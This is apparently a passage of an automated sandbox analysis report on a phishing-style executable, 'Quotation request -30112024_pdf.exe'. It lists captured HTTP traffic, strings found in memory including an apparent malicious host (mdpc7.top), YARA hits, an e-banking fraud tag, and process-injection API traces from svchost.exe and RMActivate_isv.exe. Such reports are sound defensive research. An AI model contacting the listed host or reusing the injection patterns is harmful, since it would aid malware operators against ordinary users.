69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 18 Nov 2024 12:14:41 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 162Content-Type: text/html;charset=utf-8Date: Mon, 18 Nov 2024 12:14:48 GMTServer: nginxX-Cache: BYPASSConnection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 77 65 62 6d 61 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 0a 20 20 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 63 65 6e 74 65 72 3e 77 65 62 6d 61 6e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head> <title>404 Not Found - webman</title></head><body><center> <h1>404 Not Found</h1></center><hr><center>webman</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 162Content-Type: text/html;charset=utf-8Date: Mon, 18 Nov 2024 12:14:50 GMTServer: nginxX-Cache: BYPASSConnection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 77 65 62 6d 61 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 0a 20 20 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 63 65 6e 74 65 72 3e 77 65 62 6d 61 6e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head> <title>404 Not Found - webman</title></head><body><center> <h1>404 Not Found</h1></center><hr><center>webman</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 162Content-Type: text/html;charset=utf-8Date: Mon, 18 Nov 2024 12:14:53 GMTServer: nginxX-Cache: BYPASSConnection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 77 65 62 6d 61 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 0a 20 20 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 63 65 6e 74 65 72 3e 77 65 62 6d 61 6e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head> <title>404 Not Found - webman</title></head><body><center> <h1>404 Not Found</h1></center><hr><center>webman</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 162Content-Type: text/html;charset=utf-8Date: Mon, 18 Nov 2024 12:14:56 GMTServer: nginxX-Cache: BYPASSConnection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 77 65 62 6d 61 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 0a 20 20 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 63 65 6e 74 65 72 3e 77 65 62 6d 61 6e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head> <title>404 Not Found - webman</title></head><body><center> <h1>404 Not Found</h1></center><hr><center>webman</center></body></html>

Source: xvYhLzczmazJ.exe, 0000000C.00000002.3137237939.00000000052A4000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.mdpc7.top
Source: xvYhLzczmazJ.exe, 0000000C.00000002.3137237939.00000000052A4000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.mdpc7.top/55tt/
Source: RMActivate_isv.exe, 0000000B.00000002.3138251164.0000000007EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RMActivate_isv.exe, 0000000B.00000002.3138251164.0000000007EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RMActivate_isv.exe, 0000000B.00000002.3135956729.0000000004BA4000.00000004.10000000.00040000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000C.00000002.3135190589.0000000003E74000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css
Source: RMActivate_isv.exe, 0000000B.00000002.3138251164.0000000007EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RMActivate_isv.exe, 0000000B.00000002.3138251164.0000000007EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RMActivate_isv.exe, 0000000B.00000002.3138251164.0000000007EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RMActivate_isv.exe, 0000000B.00000002.3138251164.0000000007EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RMActivate_isv.exe, 0000000B.00000002.3138251164.0000000007EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RMActivate_isv.exe, 0000000B.00000002.3135956729.00000000043CA000.00000004.10000000.00040000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000002.3138038480.0000000006420000.00000004.00000800.00020000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000C.00000002.3135190589.000000000369A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://kb.fastpanel.direct/troubleshoot/
Source: RMActivate_isv.exe, 0000000B.00000002.3131128904.0000000002FF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: RMActivate_isv.exe, 0000000B.00000002.3131128904.0000000002FF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: RMActivate_isv.exe, 0000000B.00000002.3131128904.0000000002FF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: RMActivate_isv.exe, 0000000B.00000002.3131128904.0000000002FF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033Z
Source: RMActivate_isv.exe, 0000000B.00000002.3131128904.0000000002FF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: RMActivate_isv.exe, 0000000B.00000002.3131128904.0000000002FF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: RMActivate_isv.exe, 0000000B.00000003.1891152849.0000000007ED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: RMActivate_isv.exe, 0000000B.00000002.3135956729.00000000040A6000.00000004.10000000.00040000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000C.00000002.3135190589.0000000003376000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.2000496930.0000000028E66000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.bt.cn/?from=404
Source: RMActivate_isv.exe, 0000000B.00000002.3138251164.0000000007EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

2_2_0045A10F

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

2_2_0045A10F

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_0046DC80 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

2_2_0046DC80

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_0044C37A GetKeyboardState,SetKeyboardState,PostMessageW,PostMessageW,SendInput,

2_2_0044C37A

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_0047C81C SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

2_2_0047C81C

E-Banking Fraud

Initial sample is a PE file and has a suspicious name

Source: Yara match	File source: 7.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1643178908.0000000006880000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3137237939.0000000005230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3134393651.0000000003290000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3130613752.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3134403470.0000000003B70000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1641218754.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3134574203.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1642068110.0000000004A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: initial sample	Static PE information: Filename: Quotation request -30112024_pdf.exe
Source: initial sample	Static PE information: Filename: Quotation request -30112024_pdf.exe

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0042C173 NtClose,	7_2_0042C173
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0040A87F NtAllocateVirtualMemory,	7_2_0040A87F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72B60 NtClose,LdrInitializeThunk,	7_2_03C72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72DF0 NtQuerySystemInformation,LdrInitializeThunk,	7_2_03C72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C735C0 NtCreateMutant,LdrInitializeThunk,	7_2_03C735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C74340 NtSetContextThread,	7_2_03C74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C74650 NtSuspendThread,	7_2_03C74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72BE0 NtQueryValueKey,	7_2_03C72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72BF0 NtAllocateVirtualMemory,	7_2_03C72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72B80 NtQueryInformationFile,	7_2_03C72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72BA0 NtEnumerateValueKey,	7_2_03C72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72AD0 NtReadFile,	7_2_03C72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72AF0 NtWriteFile,	7_2_03C72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72AB0 NtWaitForSingleObject,	7_2_03C72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72FE0 NtCreateFile,	7_2_03C72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72F90 NtProtectVirtualMemory,	7_2_03C72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72FA0 NtQuerySection,	7_2_03C72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72FB0 NtResumeThread,	7_2_03C72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72F60 NtCreateProcessEx,	7_2_03C72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72F30 NtCreateSection,	7_2_03C72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72EE0 NtQueueApcThread,	7_2_03C72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72E80 NtReadVirtualMemory,	7_2_03C72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72EA0 NtAdjustPrivilegesToken,	7_2_03C72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72E30 NtWriteVirtualMemory,	7_2_03C72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72DD0 NtDelayExecution,	7_2_03C72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72DB0 NtEnumerateKey,	7_2_03C72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72D00 NtSetInformationFile,	7_2_03C72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72D10 NtMapViewOfSection,	7_2_03C72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72D30 NtUnmapViewOfSection,	7_2_03C72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72CC0 NtQueryVirtualMemory,	7_2_03C72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72CF0 NtOpenProcess,	7_2_03C72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72CA0 NtQueryInformationToken,	7_2_03C72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72C60 NtCreateKey,	7_2_03C72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72C70 NtFreeVirtualMemory,	7_2_03C72C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72C00 NtQueryInformationProcess,	7_2_03C72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C73090 NtSetValueKey,	7_2_03C73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C73010 NtOpenDirectoryObject,	7_2_03C73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C739B0 NtGetContextThread,	7_2_03C739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C73D70 NtOpenThread,	7_2_03C73D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C73D10 NtOpenProcessToken,	7_2_03C73D10
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03534340 NtSetContextThread,LdrInitializeThunk,	11_2_03534340
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03534650 NtSuspendThread,LdrInitializeThunk,	11_2_03534650
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532B60 NtClose,LdrInitializeThunk,	11_2_03532B60
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	11_2_03532BF0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532BE0 NtQueryValueKey,LdrInitializeThunk,	11_2_03532BE0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532BA0 NtEnumerateValueKey,LdrInitializeThunk,	11_2_03532BA0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532AD0 NtReadFile,LdrInitializeThunk,	11_2_03532AD0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532AF0 NtWriteFile,LdrInitializeThunk,	11_2_03532AF0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532F30 NtCreateSection,LdrInitializeThunk,	11_2_03532F30
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532FE0 NtCreateFile,LdrInitializeThunk,	11_2_03532FE0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532FB0 NtResumeThread,LdrInitializeThunk,	11_2_03532FB0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532EE0 NtQueueApcThread,LdrInitializeThunk,	11_2_03532EE0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532E80 NtReadVirtualMemory,LdrInitializeThunk,	11_2_03532E80
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532D10 NtMapViewOfSection,LdrInitializeThunk,	11_2_03532D10
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532D30 NtUnmapViewOfSection,LdrInitializeThunk,	11_2_03532D30
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532DD0 NtDelayExecution,LdrInitializeThunk,	11_2_03532DD0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532DF0 NtQuerySystemInformation,LdrInitializeThunk,	11_2_03532DF0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532C70 NtFreeVirtualMemory,LdrInitializeThunk,	11_2_03532C70
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532C60 NtCreateKey,LdrInitializeThunk,	11_2_03532C60
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532CA0 NtQueryInformationToken,LdrInitializeThunk,	11_2_03532CA0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035335C0 NtCreateMutant,LdrInitializeThunk,	11_2_035335C0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035339B0 NtGetContextThread,LdrInitializeThunk,	11_2_035339B0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532B80 NtQueryInformationFile,	11_2_03532B80
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532AB0 NtWaitForSingleObject,	11_2_03532AB0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532F60 NtCreateProcessEx,	11_2_03532F60
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532F90 NtProtectVirtualMemory,	11_2_03532F90
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532FA0 NtQuerySection,	11_2_03532FA0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532E30 NtWriteVirtualMemory,	11_2_03532E30
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532EA0 NtAdjustPrivilegesToken,	11_2_03532EA0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532D00 NtSetInformationFile,	11_2_03532D00
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532DB0 NtEnumerateKey,	11_2_03532DB0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532C00 NtQueryInformationProcess,	11_2_03532C00
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532CC0 NtQueryVirtualMemory,	11_2_03532CC0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03532CF0 NtOpenProcess,	11_2_03532CF0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03533010 NtOpenDirectoryObject,	11_2_03533010
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03533090 NtSetValueKey,	11_2_03533090
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03533D70 NtOpenThread,	11_2_03533D70
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03533D10 NtOpenProcessToken,	11_2_03533D10
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_02E28EC0 NtCreateFile,	11_2_02E28EC0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_02E29320 NtAllocateVirtualMemory,	11_2_02E29320
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_02E29030 NtReadFile,	11_2_02E29030
